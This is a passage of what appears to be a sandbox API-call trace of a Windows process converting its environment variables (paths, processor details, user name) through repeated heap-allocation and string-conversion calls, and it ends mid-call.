WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x31223b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.514] SetLastError (dwErrCode=0x0) [0045.514] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3152e18) returned 0x24 [0045.515] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3152e18, Size=0x28) returned 0x3152de8 [0045.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0045.515] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x25) returned 0x3152e18 [0045.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3152e18, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0045.515] GetLastError () returned 0x0 [0045.515] SetLastError (dwErrCode=0x0) [0045.515] GetLastError () returned 0x0 [0045.516] SetLastError (dwErrCode=0x0) [0045.516] GetLastError () returned 0x0 [0045.516] SetLastError (dwErrCode=0x0) [0045.516] GetLastError () returned 0x0 [0045.516] SetLastError (dwErrCode=0x0) [0045.516] GetLastError () returned 0x0 [0045.516] SetLastError (dwErrCode=0x0) [0045.516] GetLastError () returned 0x0 [0045.516] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3152de8) returned 0x28 [0045.516] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3152de8, Size=0x2c) returned 0x310fa98 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0045.516] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x39) returned 0x312a608 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x312a608, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0045.516] GetLastError () returned 0x0 [0045.516] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x310fa98) returned 0x2c [0045.516] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x310fa98, Size=0x30) returned 0x310fa28 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0045.516] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x3119bf0 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3119bf0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0045.516] GetLastError () returned 0x0 [0045.516] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x310fa28) returned 0x30 [0045.516] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x310fa28, Size=0x34) returned 0x3149f20 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0045.516] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x3119d90 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3119d90, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0045.516] GetLastError () returned 0x0 [0045.516] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3149f20) returned 0x34 [0045.516] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3149f20, Size=0x38) returned 0x3149f60 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0045.516] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xe) returned 0x3122380 [0045.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3122380, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0045.516] GetLastError () returned 0x0 [0045.516] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3149f60) returned 0x38 [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3149f60, Size=0x3c) returned 0x312a698 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x69) returned 0x311ffc0 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x311ffc0, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0045.517] GetLastError () returned 0x0 [0045.517] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312a698) returned 0x3c [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312a698, Size=0x40) returned 0x312a6e0 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x312a698 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x312a698, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0045.517] GetLastError () returned 0x0 [0045.517] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312a6e0) returned 0x40 [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312a6e0, Size=0x44) returned 0x3148e10 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x3157728 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3157728, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0045.517] GetLastError () returned 0x0 [0045.517] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3148e10) returned 0x44 [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3148e10, Size=0x48) returned 0x3148e60 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1d) returned 0x3157700 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3157700, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0045.517] GetLastError () returned 0x0 [0045.517] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3148e60) returned 0x48 [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3148e60, Size=0x4c) returned 0x311f0f8 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x3148e60 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x3148e60, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0045.517] GetLastError () returned 0x0 [0045.517] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x311f0f8) returned 0x4c [0045.517] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x311f0f8, Size=0x50) returned 0x311f200 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0045.517] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x3119a70 [0045.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3119a70, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x311f200) returned 0x50 [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x311f200, Size=0x54) returned 0x31399a0 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x3119d10 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3119d10, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x31399a0) returned 0x54 [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x31399a0, Size=0x58) returned 0x3139a00 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x3157750 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3157750, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3139a00) returned 0x58 [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3139a00, Size=0x5c) returned 0x30aa810 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x3152de8 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3152de8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30aa810) returned 0x5c [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30aa810, Size=0x60) returned 0x30aa8e0 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x310fa28 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x310fa28, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30aa8e0) returned 0x60 [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30aa8e0, Size=0x64) returned 0x309daf8 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x3157778 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x3157778, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0045.518] GetLastError () returned 0x0 [0045.518] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x309daf8) returned 0x64 [0045.518] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x309daf8, Size=0x68) returned 0x309dbd8 [0045.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0045.518] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x41) returned 0x3148e10 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x3148e10, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x309dbd8) returned 0x68 [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x309dbd8, Size=0x6c) returned 0x3120218 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0045.519] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x3119d50 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3119d50, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3120218) returned 0x6c [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3120218, Size=0x70) returned 0x3120290 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.519] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xf) returned 0x31223c8 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x31223c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3120290) returned 0x70 [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3120290, Size=0x74) returned 0x70cbd8 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0045.519] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x16) returned 0x3119f70 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3119f70, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70cbd8) returned 0x74 [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70cbd8, Size=0x78) returned 0x70cc58 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0045.519] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x310fa98 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x310fa98, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70cc58) returned 0x78 [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70cc58, Size=0x7c) returned 0x6eff70 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0045.519] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x310fad0 [0045.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x310fad0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0045.519] GetLastError () returned 0x0 [0045.519] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6eff70) returned 0x7c [0045.519] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6eff70, Size=0x80) returned 0x6f0a98 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x15) returned 0x3119f50 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3119f50, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0045.520] GetLastError () returned 0x0 [0045.520] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6f0a98) returned 0x80 [0045.520] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6f0a98, Size=0x84) returned 0x70f218 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x31577a0 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x31577a0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0045.520] GetLastError () returned 0x0 [0045.520] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70f218) returned 0x84 [0045.520] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70f218, Size=0x88) returned 0x70f608 [0045.520] WideCharToMultiByte (in: 